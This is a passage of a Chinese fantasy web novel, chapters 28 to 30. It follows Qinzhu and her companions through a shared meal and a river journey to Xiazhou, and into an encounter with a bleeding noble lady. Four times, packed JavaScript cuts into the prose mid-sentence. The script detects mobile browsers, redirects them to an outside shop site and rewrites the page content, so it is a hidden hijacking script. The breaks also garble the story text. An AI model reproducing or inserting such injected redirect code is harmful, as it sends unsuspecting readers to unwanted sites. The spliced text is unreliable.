商则扶着芩竹靠坐在床头,自己安静站在一边,手上端着空掉的药碗,问:“饿不饿。” 芩竹抬眼,摸摸肚子,好像是有点饿了,刚要开口,旁边忽然发出一声长叹:“好——饿——” 字字拖长,干哑的嗓音夹着悲痛,惹得这头两人纷纷看过去。姜绾闭着眼,估计自己都不知道自己在喊什么。 商则闭了闭眼,转过来又看了眼芩竹,在那人莫名其妙的眼神下,默默出去了。 怎么觉得这人有点不爽?芩竹看着商则的背影想着。 她自我感觉良好,还抬手握了握手心的白布,想着干坐着没事,还不如出去帮帮麦子,和桂枝打了个招呼,便钻出门去。 她穿的还是来时那身破烂衣服,裤腿还没了半截,开门时险些被屋外的寒风吹死,握着门板适应了下才慢慢跨出去。 小院里的雪简单扫了扫,露出一条小路通向院门,旁边药房的白气从房门涌出,阵阵药香穿过细雪飘在鼻间。 身后是桂枝轻声细语的哄唱,药房里面有麦子不住的念叨,然后从木屋拐角处,几道踩雪声缓慢而来,那堆着的厚厚白雪中,红色的发带先一步跑进眼里。 飘带被风刮起翻飞,拐角里走出来一抹更加鲜亮的红,再是张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“现在不困,困了我就走了。”芩竹老实说。 药房的门刚好对着院中扫开雪的那一小片,那里站着个人,正在努力抡着斧头。 从前没细看过,这会瞅着才发现,商则的衣服飞肩带束袖,腰封一缠马尾扎高,真像那十七八岁的热血少年郎,可仔细想想,总觉得他和这身衣服不太搭。 芩竹看他两眼,再收回视线,对着面前的砂锅摇摇扇子,回想着之前的梦境。 梦中情节早就忘了,算得上印象深刻的,也就是商则模糊的脸,还有那双阴恻恻的眼睛。 她想着,又向院里看去,正好,那人捡着劈好的柴火起身,转过来扬声道:“想吃什么?” 大概是想看着芩竹,但是又被药房中的热气挡着,于是他抬手在面前挥了挥,瞪大眼睛瞧着。他睫毛很密,眼睛看着便更有神,这般特地认真地望过来,就更显得……真诚。 “什么都吃。”芩竹没法评价为什么实物和梦中那位差距如此之大,只好先回答放在眼前的问题。 “行。”院里那抹红提着柴火走了。 芩竹扇着火,看了下腰间的碎块。 现在都不能称之为碎块了,它已经快和旁边的木牌一般大,隐约看得出些雏形,像是个细长的物件。 正思索着,麦子忽然出声:“对了,昨日出来时,我们看见那个术士尸体了,还捡到了一个符纸。” “那符不知道是用来做什么的,但上面的暗纹很眼熟……” 国师? 28. 今生缘 “但那符上面不止有代表国师的暗纹,还有一个并不明显的花纹,那个我也不知是属于谁的,还需要去问问。”麦子说。 而且说暗纹属于国师其实也不太准确,毕竟在座的几位连京城都没去过,那花纹只是一个听另一个说的,如此做个假设。后面的事还得打听过后,等姜绾醒了帮忙。 说话间,锅中的药沸腾,芩竹揭开盖子,听着麦子的指示倒出又加水继续熬着,浸在药香里昏昏欲睡。忽然,院门开关声响起,芩竹偏头瞧了眼,是商则去而复返,拎着个东西又进去厨房。 麦子整理东西的动作停下,一脸不信任地看着芩竹:“那家伙做什么呢,一会进来出去的。” “可能是做饭。”芩竹回想道。 闻言,麦子跟着想了下商则的模样,怎么想都不像是会做出美食的样子啊……她抖了抖身子,轻嘶了声:“他不像是要做饭,像是要烧我的厨房。” “让他做吧,桂枝姑姑还在照看姜绾,我手不太方便。”芩竹一点不像是为他开脱,说完又瞥了眼麦子,意思是你也在忙,现在只有那一个能胜任这件事了。 这没法反驳,麦子只能放任着去了,一边看芩竹心大地抱着腿熬药,一边小心留意着厨房的声音,生怕漏听一声异动没法去及时解救自己的厨房。 就这么操心了许久,异响没等来,药都熬完了,商则还没从厨房出来,芩竹和麦子将药汁递给来取药的人时,那乡亲走前还奇怪的留下一句“家里来客人啦”,再依依不舍地走掉。 芩竹困得不行,和麦子把房中东西整理好就准备会屋睡觉,谁曾想一出药房,扑鼻的香味充满了小院。 是肉啊,是油啊。 芩竹是没有惊讶这种感情的,只是在闻到时瞬间懂了那乡亲走之前那句话,可麦子就不一样了,简直是震惊,在原地愣了一瞬,接着大跨步朝厨房奔去,那背影看着的确有些危险,保险起见芩竹还是选择跟了上去,果然,刚到门口就听见麦子的质问:“这都是从哪来的?” “买的。”商则正把锅中的菜盛出来。 “哪来的钱啊,买这么多……”麦子看着厨房那半大点地方摆了满满一圈饭菜,荤素搭配齐全,许多东西麦子前半生见都没见过。 这场面真不怪麦子多想,实在是如今世道粮食短缺,饭都吃不饱的时候,有时候有钱都买不到米面,结果出现了这么肉菜在自己家里。 她慌啊,看过去真就是像打劫来的。 他们说话,芩竹从后面晃荡进厨房,伸手捏了块肉放进嘴里,问:“你不会是把姜绾的钱拿走了?” 商则端碗的动作顿住,转身看来,但芩竹是背对着他的,因此只能看见个漠不关己的背影,那背影的肩头消瘦,能透着披风看见骨头的形状,后颈有些睡乱的发丝夹在领口,脸侧嚼着什么,缓缓扭过头:“这样是不对的哦。” 麦子瞅着芩竹咀嚼的动作,没眼看,闻着满屋的饭香妥协道:“做都做了,先吃吧。”她直觉再呆在这里不太好,于是抢来商则手里的盘子,转身出去。 商则搓了搓手,抬眸去看芩竹:“我拿的是那个术士留下的银票。她之前说过不敢用,那我——” “花完了?”芩竹问,那人摇头,她点点头,错身抽走他手里的筷子走到另一边,又叨起一块菜尝了尝,“去给她交代一下。” 芩竹怕他是因为自己总是拿姜绾的符纸,所以也跟着以为姜绾包袱里的东西是可以乱拿的,而且最重要的是,她依稀记得梦里那个商则好像也惯做些小偷小摸的事。 她放下筷子,转身看着独自沉思的商则,非常正式的给他竖了个大拇指:“好吃,认错去。” 那人肉眼可见的突然开朗,像是没听到后半句话,又端来一个盘子给她,应该是想让她再尝尝这个。 就是芩竹刚好向前探身,那人回身时,她怕自己把他端来的东西撞翻,只好向后仰了下,结果避得急了,没站稳。 都怪这伤腿。 慌乱中,芩竹想用手撑一下台边,然而一只手捏着筷子,空闲下来的那只手恰好是那只被裹得凄惨的伤手,这一下怕是又要让麦子头疼。 正想着,后腰忽然覆上一股力道,一只大手稳稳撑在腰间,将她压向面前人的胸膛,又在她站稳时停下,后腰的手掌向上移,握住肩头,把她扶稳。 芩竹上半身就像那个不倒翁,晃了两下被人压得站直,这动作发生的很快,她本以为自己的鼻子又要遭殃的时候,眼睛却能很清楚地看见面前人的喉结上下滚动了一圈。 没撞上。 “抱歉,”商则声音显得很小心,看她站稳后便退开一步,摩挲了下束袖上的暗花,眼睛飞快地眨了眨,道,“我给你灌了些酒回来。”说着从怀里掏出芩竹平时带的那个酒壶,递出去的时候却犹豫了下,手停在半空卡住。 真是瞌睡了递酒,芩竹坦然接过道了声谢,喝了一口盯着壶身摇摇,说:“姜绾的钱怕是还不清了。” “下次不会了,”商则皱眉看过来,应该是生气,但他的表情又像是小大小闹般的委屈,抬手把芩竹披风的带子解开再系好,手上动作嘴里也不闲着,“那我下次要想给你……们做些吃的,没钱怎么办?” 芩竹站得久了腿疼,轻倚在台子边,任他动作,再回答他的话:“可以拿我的,而且你提前给姜绾说声她也会给你的。” 话是这么说,但其实商则压根没有管芩竹后半句说的什么,满脑子都是前面“我的”二字,忙忙点着头把芩竹推出去,说他来端饭。 于是芩竹只抱着个孤零零的酒壶出来了,一抬头就和麦子打了个照面。 这人扬着眉表情奇怪看着她,嘴角牵着一抹怪笑,看着要说些上不得台面的话,然而视线下移,看到了芩竹怀里的酒壶,那怪笑立刻演变成气笑:“我辛苦给你治伤,你倒好,在这里喝酒。” “没事的,我喝酒好像没什么感觉,和喝水一样。”芩竹把酒壶交给她,拉着她一起回屋。 “真的?”麦子不信邪,低头闻了闻,酒香冲鼻,感觉是那种自己喝了两口就会上头的酒。她又看向芩竹的脸,没什么变化,那能怎么办,随她去了呗。 姜绾在芩竹去熬药时便醒了,麦子也给她说了商则的事情,芩竹进去倒不用再费口舌,而姜绾也不客气,见她进来了便掌心向上朝她举来:“你那小鬼干的好事,我本来应急的钱没了,说吧怎么办。” 芩竹老老实实给她讲了:“他没用完,等会剩下多少,其余的我给你补。” 姜绾烧还没退,说话还有气无力的,听她这么说放了心,长叹一声半躺回去,迷迷瞪瞪道:“你下次让他拿外面那个钱袋,那个能花。” 桂枝看见她缩回被窝,无奈又将人挖出来,说:“钱都花了,人家辛苦做的饭总得尝尝,起来,快两日没吃饭了。”后半句带着嗔怪,半哄着拉她起来。 隔间里说着,外面桌上的麦子已经不耐烦了:“别哼哼了,赶紧起来,不然没你的份。” “好——” 芩竹已经走到了外间,和端着饭进门的商则凑上,那人过来时,应该听到了她们的聊天,看见姜绾丧着张脸走矮墙就朝她放声道了句“抱歉”,再把剩下的那些银票交给她。 这一出突然,让姜绾没反应过来,愣愣点头坐下,然后又闻到这满桌的香味,更是心情大好,一点憋屈也没了。 一个半大点的方桌,原本只是供麦子和小七两人吃饭,这一下挤了五个人,几乎都是腿挨着腿,里头还夹着两个压根不用进食的。 桂枝来凑热闹就算了,商则究竟为什么也要来桌边窝着,麦子被这大块头挤得没脾气,又吃人嘴短,矛头便转向一边,对姜绾道:“怎么一顿饭就把你收买了,那叠银票可够你住个好房子呢。” 这话一听就是玩笑,姜绾也就拿出来装模作样数了数,再塞回去,说:“哎呀,怎么办,少了十张呢。”还朝芩竹眨眨眼。 商则停止埋头喝水,侧头悄悄看向芩竹。 芩竹:看什么看。 实物终于和梦境中有了点重合之感,就说这货心长得和脸不一样。 她夹了一块肉怼到商则面前,这人本来微微眯着的眼睛忽然睁大,似乎有点震惊地看她,睫毛扇了两下,芩竹便又将肉向前送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13690942|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了送,商则就顺势张开嘴,让芩竹成功给他喂了一口,还开心的晕乎着,就听见耳边毫不留情道:“去一边坐着,有点挤了。” 商则:…… 姜绾最喜欢看商则吃瘪,看着就开心,再拉着旁边一人一鬼一起开心,正笑闹着,芩竹忽然从衣服里拿出来一个布裹着的东西。 她的举动一开始没人注意,都在专注吃饭,可等她把那包揭开时,旁边的人就自动投来视线,更别说目光一直在芩竹身上的商则了,眼神闪烁,带着些渴望。 灰扑扑的布里面,躺着一根玉簪。看着白,但靠近火光,竟又流光溢彩,里面仿佛盛着滚滚星河。 “给你了。”芩竹把那布一盖,递给姜绾。 这东西一看就不是凡物,姜绾怎么可能敢要,慌忙摆手:“太贵重了,我这小命扛不起来。” “是啊,而且就她那个丢三落四的样子,可惜了。”麦子也觉得这东西贸然拿出来不妥,就想给她按回去,可芩竹倒没觉得有什么,给的理所当热,这态度把麦子给搞笑了,无奈道:“可真倔啊……那我这又出力又出药,怎么不见给我点报酬。” 芩竹看过去,麦子就托着下巴朝她扬扬眉。 也是。 想着,芩竹两手握住裹着布的簪子两头,向下用力,在旁边齐齐地惊呼声中,玉簪脆响一声,一分为二。 桌上一片寂静,始作俑者心态良好,从布里拿出那——现在该是两根簪子了,放到姜绾和麦子眼前。 她这簪子偏长,还十分素净连个花纹都没有,两头掰开了也没有什么区别,就是一个细些一个粗些,单看也不违和。 “你们帮了我许多,到后面应该还有会麻烦的地方,这簪子对我来说大概也只有送给你们当做谢礼这一个用处了。拿着没所谓。”芩竹缓缓道。 她甚少说这么多,姜绾跟了一路也没听过这么多字出现在同一个句子里,于是她笑了笑,将那簪子随手别在发髻上里,刚好露个头,不突兀。 “那行,有什么事尽管找本姑娘。”姜绾拍了拍胸脯。 桌角另一边的簪子却迟迟没人收,半晌,被桂枝拿起来,抓着麦子的手展开然后平放在她手心,温声道:“就像芩儿说的,这可以说是对你的答谢,收了也不欠什么,反倒让她安心。” 麦子低头看着那簪子,过了会攥进手里,揣好,郑重抬眼看向她们:“接下来的路,我想跟你们一起走。” 那日从山上回来,姜绾和麦子聊过,说了那葫芦里放着灵魂的事,还坦白了桂枝的身份和她们此行的目的。葫芦里自然还有小七沉睡的魂魄。 小七去后,麦子在叶城县无牵无挂,呆着也是呆着,就想着再陪他一段路,走时有自己在身边,也不算太孤单。 听她这么说,芩竹当然是没所谓,姜绾更不会拒绝了,路上多一个人便多份热闹,两手一拍这事就成了。 吃过饭姜绾就把从术士那里捡到的符纸拿给芩竹看,经她手看了眼,芩竹斟酌道:“这好像是个传音符。” 此传音倒不是说可以将人的声音传至千里之外,而是将要说的话以指划在纸面,燃尽后便可在确定的另一人手上得到同一张符,就能知道传符之人写的是什么。 “还有这种东西?”姜绾托着下巴好奇地摸摸符纸下面烧到一半的焦枯,再瞧瞧符纸的正反面,都没有看到写了什么,遗憾地在面前摆正,拿出几个铜板。 麦子看着她动作,眼神却是在思索,喃喃道:“这东西没见过,但传音符我早几年在市面上听过。不过太贵了,后面就再也没它的影子,那时候说它是从哪买的呢……” 她这边在思索,另一边姜绾很快结束,便收边说:“这东西经手有许多人,能分出三个地方,一个就是那术士,带着它乱跑,还有一个在陵南府那边,剩下一个是岑山往东的——” “峡州。”麦子一拍桌子,和姜绾同时说出个地方。 芩竹抱着腿坐在桌前听着,见此情形,说:“那就是确定了,往峡州去?” “既然小麦姐姐都说了,那就没错了,等到了峡州再算下一步的方向。”姜绾点头说。 29. 阴者路 岑山并不凶险,但也没有好走到哪里去,尤其是往峡州雪更大,且路上三人两鬼,都没去过那处,生怕一个不留神迷了方向,更觉前路艰难。 直到出了叶城县又过一城,才知道去峡州原来还有条水路可走。 说是岑山下有条江,顺江向下到春林镇,再走几日便可到。 这倒是方便了,三个人寻了条船,上去缩进船篷里才安心,一会看看江水,一会再哆嗦着聊些有的没的。 不知怎的就说到了国师。 他们这些平头老百姓肯定是没地方见去的,平日里对国师更是没有概念,可就这些日子,不论是说那阴器,还是在找的那术士,似乎都在和国师牵着联系。说不定那价值连城的传音符也是国师做的呢,不然为何会有那么神奇的能力。 “讲的那么厉害,可我们都没见过啊,还说什么阴器现世,搞得人心惶惶的,也没有结果。”这话大逆不道,被人听去不好,所以姜绾声音压得很低。 可不知道是不是外头撑船的老者太过无聊,刚好分了心在她们这小小船舱里,竟是被他给听去了。 姜绾话音刚落,外面就飘来一道陈年枯木般的声音,语调上扬,隐隐显出些骄傲:“唉?小丫头见识少,可不能说那位的不是啊。” 他出声突然,说了亏心话的人被吓了一跳,夸张地转脸望过去,连带着个变成布人逃票的商则也抬头看过去。 麦子俯下身,从船篷中偏头看那撑船的老者,歉意笑笑,客气道:“妹妹年纪小,不太会说话。” “嗐。没事儿,就是我一个老头在这着实无趣,还打扰了你们姊妹闲聊。”老者双手抵着杆顶,斗笠蓑衣上面盖了层薄薄的雪,转过来笑看着她们。 芩竹把肩上的布人拿在手里,看了眼麦子,那人眨眨眼,也笑:“无事无事,不过大爷,听您刚才话里的意思,您见过那国师做的奇事?” 老者终于有人搭腔,立刻积极了些,肩上的雪抖下了些:“见倒是谈不上,只是刚好人在那处。” 船篷中的三人互相看了看,听那老者慢慢讲。 峡州靠近大肃中部,旁边就是遂州。说遂州城是天下第一城,而峡州石方县,和那遂州京城也差不了多少,峡州李家,更是风光无限。 石方县占比峡州最大,李家主家,就在其中。 李家上数几百年,建功无数家底雄厚,为峡州百姓安乐做下不少善事,深受城民爱戴。 然三年前陵南的那道天雷虽没给当地人造成什么损失,却好像劈到了峡州。岑山莫名起了山火,疫病横行,民不聊生。 都说天降灾祸于峡,大肃要弃之不顾。 李家这一代家主的女儿当时就在疫病最严重的石方县,县城紧闭,人们出不来进不去,李家主急得一夜白头,差些活活撅过去。 在如此这样的情形下,国师来了。 “据说国师身长八尺,脚踏神驹乘祥云而下,身后五彩霞光,只一挥手,枯木逢春,疫病全消,真可谓是天神下凡!” 老者就似那茶楼里的说书人,在船头小小踱步,讲得唾沫横飞,听得她们一愣一愣。 这真就是神仙吧,怎么可能这么厉害? 芩竹几人沉默一瞬,十分捧场地“哇”了一嗓子,姜绾笑笑,犹豫道:“大爷,可您这话,为何是‘据说’呢……” 老者一噎,摸摸下巴的干胡子,磕巴道:“嗯……这传闻毕竟有夸大的嫌疑,但那时我就在石方县外,国师的威风也是无人可比,而且在他走后不久,峡州便就恢复如常了。” 峡州的事她们或多或少也都听过,都说是国师出手,可具体如何出手,大家都不知道。此番一听……原来国师真的会亲自过来。 “但……大爷,您认得国师?”麦子搓着手,裹紧披风。 高山夹水,寒风难熬。 老者看着前路眯了眯眼,不在意地说:“早些年走南闯北,而且去过京城的都知道,象征着国师的那面旗还是挺常见的。那日在石方县外头,队伍恁长,两面大旗飘在前头,想看不见都难呐。” 照这么说,国师也不是真的神仙,但能那么快解决峡州的麻烦,的确称得上厉害。 “待你们去了峡州,能听的故事更多,”老者拿出腰间的酒葫芦甩开木塞,说着话转头看向船篷里的人,刚好瞧见芩竹也捧着个酒壶,就向她隔空一举,看那人也学着他的样子抬手,于是笑笑,抬头灌进一口酒,叹口气道:“传闻国师帮峡州渡过难关后,李家主就和遂川翠英谷做了联系,奥对……那翠英谷就是国师的所在。” 路途无聊,刚好有人讲故事解闷,芩竹几人也听得认真,那老者得人倾听自己年轻时的往事,自然也高兴,二两热酒上头,又是几个不知真假的故事丢出来,只想着看那三个姑娘瞪大的眼睛。 讲着讲着,这路程也过了半,老者手指抵着斗笠的边向上抬了抬,眺望远处,说:“之前说了那么多,但你们此番去峡州,可记得要绕开那石方县。” “为何?” 老者摇摇头:“前段日子我老友从峡州来,说那地方又发生了些古怪,他没说是什么,不过避着点总是好事。” 芩竹她们只粗略算了是要去峡州,具体到哪,她们也还不知道,听过了记在心里,打着哈哈过去了。 小船在江面上飘荡,约莫申时靠了岸。 峡州风雪持续了有段日子,申时的天光和日头落下了差不多,几人谢过老者,匆匆忙进了春林镇。 镇子靠江,想来从前这地方和名字一般有春风盎然之感,只不过现如今,入眼就是白茫茫一片,寒风呼啸着,露天的地方姜绾半刻都不愿意呆,领着两人大手一挥去当地客栈要了个上房,热水热汤送进房内。 三人在床上捂了半晌,又爬起来对着那半截符纸用劲。 好在结果不错,并没有向着石方县。看看地图,似乎是在它的西边,离得不远不近。 找准了地方,也就不惦记了,赶了一日的路也乏,吃过饭后就睡下了,一直到第二日一早。 这间客栈算是春林镇内不错的,饭菜都还合口胃,怕路上没有好东西吃饿到,芩竹她们早饭吃的很慢,带了点品尝的意思,可就是这么吃,外面天色都还是昏暗的,日升的晚,乌云又厚。 三人想想之后的路程不免又开始发愁,安安静静的,但路还是要赶,于是便苦着脸收拾东西准备问问小二具体的路线。 这时候,从楼上走下来一行人,个个身配长刀穿戴肩甲,看起来就不太好惹,在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702184|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队人之前,是个裹着狐裘的姑娘,披风里还抱了个汤婆子,下楼时走得缓慢,旁边有另一个穿着劲装的丫头扶着。 原本还觉得是山匪的一帮子人现在看来,倒像是这位闲来无事出门游历的大小姐的护卫。 客堂中的人开始还有些小心的神情,现在都是表情各异的瞅瞅前头那位病秧子,偷偷琢磨一下那些人身上棉袍的价格,再移开眼神转回自己面前的饭菜上。 芩竹她们的位置刚好就在楼梯口的位置,姜绾将店小二喊来结账顺便问话时,正对着楼梯的麦子和芩竹也被下楼的姑娘吸引了。 那姑娘连发饰耳坠都没戴,整个人裹在毛茸茸的领子里,仅仅手腕上戴了个红绳穿了个不起眼的黑珠子,露出来的脸蛋白得不像话,要不是衣服穿得艳丽些,都让人怀疑她会不会下一刻化成一缕烟飘出去。 “……路大致就是这样,雪天路滑,您得注意安全。” 这头正想着,对面姜绾已经问完该问的了,道过谢起身,那店小二知道没自己的事了,知趣退后。 然就是这一个动作,恰好同后面下楼到底的那姑娘碰上。又一个恰好,旁边扶着她的人此时不知去了哪里,竟然让那看起来脆得和纸一般的姑娘自己往这边走。 两边相遇,碰倒是没有碰上,店小二的后跟勾到了那位姑娘的鞋尖,人就被这么往前绊了一下,直直向芩竹她们这一桌摔来。 身后的护卫大概都没想到这一出,一个个出手不及,都在狰狞着面目向楼梯下狂奔,一声声“小姐”喊得让人心惊。 姜绾被身后动静吓到,炸毛回头,就见一个人影朝她扑来,下意识就是张开手,但再是个脆纸人,她也是“人”,扑来的力道姜绾肯定接不住,反被人压着要砸下去,“哎呦”一声就开始胡乱叫喊,突然后背被一只胳膊拖住,旁边闪来个黑色人影,是麦子。 而在姜绾和麦子怀里那个晕头转向的姑娘,本以为自己肯定要受些苦头,想象中的疼痛没有出现,反而身边一片温热,惊得瞪大眼睛,眼珠前是个离眉心不到三指宽的桌角。 这张桌子放在楼梯口旁的台阶上,如果不是被及时拦住,都不知道后果会是什么……她后怕地心跳不止,再向上抬眼,和这张桌子后面的一个绿衣姑娘对上视线。 四目相接,那人神态自如,自己狼狈不堪,她顿时有些尴尬,慌忙在旁边两位恩人的搀扶下起身,诚心道谢。再看向刚才那位绿衣姑娘,那人手在桌下不知道干了什么,桌子忽然被小幅度的挪正了。 她这才注意到,桌子上的筷子滚下碗边,而且有些碗也歪扭洒出了汤水…… 原是那姑娘刚才急忙往后移了桌子。 “小姐!小姐没事吧,都是浔佩的错!” 桌前四个还没来得及说话的人被之前那位劲装丫头慌慌忙的喊话打断。 被叫做小姐的人也赶紧回答她,顺带还安抚身后那群受惊的护卫,苍白的脸笑笑:“我没事,多亏了——” 她说着,还转过身企图介绍一番她的恩人们,结果身子转到一半,眼神刚好滑到芩竹所在的位置时,话音一顿,毫无预兆直挺挺栽了下去。 正起身从桌椅夹缝中走出的芩竹看到这一幕,又看了眼扶着那姑娘眼神诡异看着她的麦子:? 30. 阴者路 大概只是意外,麦子也就是恰好看过来,可这小姐如此动静,客栈中又是一阵此起彼伏的嚎叫,姜绾都怕这群人找提刀找她们的麻烦,绷着脸小心地戳了戳麦子怀中的人。 还好还好,起码软的。 芩竹一眼看透姜绾平静面具下不停变换的神色,按下她蠢蠢欲动的小手,看向这位小姐。 脸色白是真的,可嘴唇却是红润,因此旁人看着也就是无所谓地喊一句“病美人”,并不觉得怎样,但芩竹靠近仔细看,才发现这所谓的红润只是擦了口脂,出口连气都像是没了。 “我扶着,你看。”芩竹看见麦子在底下悄悄把脉的手,便准备帮忙,可刚伸出手,那个叫浔佩的小丫头忽然出声,身后原本站定的大汉一改安分的模样,直直上来扳着麦子的胳膊要将人拉去一边。 芩竹对面前的小姐只一面之缘,亲疏作用下,她还是果断放开了原本去接那位的手,手刀敲在了麦子肩头的手腕上,强硬地把人拽了回来,而刚刚的小姐,落在浔佩的怀里。 大汉失手,瞧了眼那出手的清瘦姑娘,面上挂不住又要发难,却被浔佩制止:“停手。” 芩竹这头三人皆是面带警惕看着他们,麦子揉了揉肩膀,神色稍显得有些担忧,而姜绾就不一样了,纯粹的不开心,忘恩负义四个大字真想甩在他们脸上,却又碍于那边人多势众,看上去还是有钱世家,只好默默将话咽进肚子里。 浔佩在她们仨身上绕了一圈,客气笑笑:“三位救了我家小姐,在下感激不尽,我们一路都不甚太平,因此防备了些,刚才出手实属无奈,在这向三位姑娘赔个不是。”说着向她们微微颔首后对身边一个护卫使了个眼色。 那护卫点头,向她们走来,递来一个金线钱袋,芩竹坦然接过,就听浔佩轻笑了声,便背上那位小姐领着一群人走了。 待他们走出客栈后,姜绾才狠狠吐出一口气,对着空无一人的大门拳头一通乱挥,然后气冲冲地拉着旁边两人出门。 芩竹走的时候还在拆那钱袋,慢悠悠把里面的银锭分成三份,分给旁边两人,姜绾装钱的手迅速,嘟囔着:“这些人虽然讨厌,但是吧……” “是不是巴不得这种人多惹你几次?”麦子笑着摇摇头,很快表情又沉下来,看着前路远去的车队。 “怎么?”芩竹也顺着望过去,就听麦子摇摇头,咂舌:“没,在想那姑娘的身体。” 姜绾遮着眼瞧那条车队,回头安慰她:“别担心,他们一看就有钱,车队里肯定会有大夫的,放心吧,该你治的人一个都跑不了。” 说完对麦子挑了挑眉,得到了后者的嘲笑。姜绾又在麦子那吃瘪,就把目标转向芩竹:“看,我这才叫安慰,你多和我学学。” 芩竹非常认真地回想了刚才那句话,然后点头,边赶路边抽空给她竖了个大拇指。得到回应的姜绾开心了,兴冲冲地带着人按照刚才店小二指的路前进。 可走不多时,竟然又与那条车队碰见。 按理说马车比她们徒步快多了,此时却能遇见,那势必是在原地停了许久。出春林镇就进了山,要先走过一条蜿蜒崎岖的山路才能到芩竹她们想去的地方,而这条路进来便就是一路走完,周边都没有什么供游人歇脚的地方,所以车队刚进山一会便停下,难免觉得奇怪。 出门在外碰见这种事总得留心,她们见到前方景象,就立刻降低自己的存在,从山路边缘悄摸溜着走。 车队很长,后面的车马用来拉货,上面盖得严实看不出什么,最前方是两个宽大又花色低调的马车,厚车帘遮着里面,但路过的时候还是能听到从中漏出来的声音。 是一个焦急的女声,喊了小姐,外面站着的那些人都在担忧地向第二辆马车里望着。 这么久了莫非那小姐还是没有好转? 麦子走动的脚不自觉地就慢了下来,眼睛控制不住地朝那马车上瞅。 因她眼神太过炽热,守在马车前的一个护卫感受到,立刻转眼过来,本是要冷脸警告,在看到是芩竹她们一伙人后,又皱着眉住了嘴,只是站在原地不太好惹地看着她们。 芩竹早就察觉到麦子的动作,拉住姜绾停下脚步,权当管闲事站在她后面,和马车前的护卫大眼瞪小眼。 那护卫本觉得三个小姑娘没什么威胁,瞪了眼麦子当作警告,可谁知后面两个姑娘和那背后灵一样,不看车马光看他,十分瘆人,尤其是最后面的那个,一双眼古井无波,黑洞洞地看过来,觉得这一日运气都要流失。 来回几个呼吸后,三人还是不动,护卫终于受不了了,握着腰间的长刀前挪了一步,想把人喝退,正要开口,马车车帘被人猛地掀开,浔佩面色严峻地钻出车,看向那个护卫应该是要问些什么,然而目光却被不远处直挺挺站着的黄黑绿三道身影吸引。 芩竹在那车帘被掀开时耸了耸鼻子,侧头给麦子说:“血腥味。” 她们不知道马车里的情况,但血腥味这么大,总是有些不好的猜测,顿时三人的思绪朝着离奇而阴谋的地方狂奔,又被跳下车来的浔佩打断。 “你会医?”那小丫头对麦子道。 麦子没有明说,只是点头,那丫头一见直接上手要拽,被芩竹一把拦下。浔佩眼神一凌,放下手,向马车做了请的样子,将人迎了上去。 那马车虽大,但也不好同时挤那么多人进去,于是芩竹和姜绾便坐在车辙上,背靠着车帘留意着内部的动静,好巧不巧,旁边就是之前那个护卫。 本就互相看不顺眼,贴在一起更没有好脸色。但芩竹才不管,偏过头就问:“你们小姐怎么了。” 连个开头都没有,反把这护卫搞得一愣,不太自在地瞥了她一眼,说:“小姐身体不好,经常备着还元丹,平时她只要难受吃一颗就好了,这次晕倒后我们也给她吃了,上路时还好,可进了山就越来越迷糊,刚才又昏了过去,怎么都没法子,还不知怎么……” 他后面的话没有说完,但身边几人都知道,是这浓重的血腥味。要照这么看来,浔佩那时出来应该也是要找还元丹的,结果看见了麦子,就是不知道里面怎么样了。 芩竹扭头,贴着车帘听着。 马车里面配置齐全,很是暖和,麦子进去时都被激得打了个哆嗦,看到了在小塌上睡着的人,也不再耽搁,搓搓手焐热后,搭上了这位姑娘的手腕,正皱眉看着,撑在褥子上的手忽然感到一片粘稠,抬起一看,竟是染了一片血红。 麦子大惊,小心掀开被子和那姑娘的半边身子,厉声道:“这是崩漏之症,不管不顾要出事的!” “什么症……”浔佩拧眉,听着她说话语气不对,顿时无措,急道:“我之前给小姐吃了还元丹,可依旧没有起色。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715962|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这药是世间奇药,大多数病症吃下去就能痊愈,看她小姐这样的,大概是将这丹药当零嘴吃,如今这血止不住,吃个丹药将人性命吊回来也是可以。 “刚才已经吃过了?”麦子问,浔佩点头,她才松了口气,说,“你家小姐本就身体不好,要不是有丹药续命,就这么流血,早就没命了。”说着就想钻出去掏自己的小包袱。 她出门后,想着家里的药材不拿浪费,便装了在身上,现在倒是有了用途。 可她的这动作在浔佩眼倒是另一番样子,就像是要撂挑子不干了。 那厢看着病榻上的小姐,心中一急,腰间的长刀弹出一截架在麦子颈间,威胁道:“你若治不好她,别想走。”她话刚说完,车帘就被掀开,坐在外面的两个人齐齐转头望进来,直勾勾对浔佩盯着。 